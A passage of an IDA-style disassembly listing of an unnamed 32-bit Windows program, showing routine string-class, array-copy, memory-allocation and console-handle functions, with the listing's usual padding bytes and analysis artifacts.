; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4097D0	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4097F0


loc_4097E1:				; CODE XREF: sub_4097D0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4097E1


loc_4097F0:				; CODE XREF: sub_4097D0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4097D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409810	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_409810	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409830	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409882
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409866:				; CODE XREF: sub_409850+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409866
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_409850+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4098C7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_4098B6:				; CODE XREF: sub_4098A0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_4098B6
		pop	esi
		pop	ebx


loc_4098C7:				; CODE XREF: sub_4098A0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_4098E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409910	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409940	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40995D
		mov	edx, [esp+arg_8]
		push	esi


loc_409951:				; CODE XREF: sub_409940+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409951
		pop	esi

locret_40995D:				; CODE XREF: sub_409940+Aj
		retn
sub_409940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409992
		mov	eax, [esp+arg_8]
		push	esi


loc_409981:				; CODE XREF: sub_409970+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409981
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409992:				; CODE XREF: sub_409970+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099D0	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4099DA
		xor	eax, eax


loc_4099DA:				; CODE XREF: sub_4099D0+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_4099D0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A1B:				; CODE XREF: sub_409A00+11j
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A30	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409A66
		push	edi
		nop
		call	near ptr 2801800h
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A66:				; CODE XREF: sub_409A30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AA0	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44719A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409ABF
		nop
		call	near ptr 2801BD7h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409ABF:				; CODE XREF: sub_409AA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B10:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409B28:				; CODE XREF: ___:00409B1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B40	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		call	sub_5EFFD5
		nop
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409C4C
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C4C:				; CODE XREF: sub_409C30+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409C5F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C5F:				; CODE XREF: sub_409C30+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C80	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409CEA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409CAA
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CAA:				; CODE XREF: sub_409C80+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0A9E89052h, 837783DDh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409CEA:				; CODE XREF: sub_409C80+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409D20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409D50:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		call	sub_5EFFD5
		nop
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409E2F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409E2F:				; CODE XREF: sub_409DA0+84j
		mov	[ebx+9], ebp


loc_409E32:				; CODE XREF: sub_409DA0+Cj
					; sub_409DA0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EA0	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EFFD5
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409EA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F07
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F07:				; CODE XREF: sub_409EF0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F0B:				; CODE XREF: sub_409EF0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		test	cl, cl
		jz	short loc_409F2F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F0B


loc_409F2F:				; CODE XREF: sub_409EF0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_409EF0+23j
					; sub_409EF0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409F60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_409FA3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F90+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A000	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A013
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A013:				; CODE XREF: sub_40A000+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A072
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A072:				; CODE XREF: sub_40A030+13j
		add	esp, 2000h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A0E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: sub_40A0C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A0C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A160	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A160	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A195
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A195:				; CODE XREF: sub_40A180+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A180+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A203
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_40A1F0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A216
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A216:				; CODE XREF: sub_40A1F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_4367FA
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A270	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A290	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A2E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_40A290+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_4367FA
sub_40A290	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3C0	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A400:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A430	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
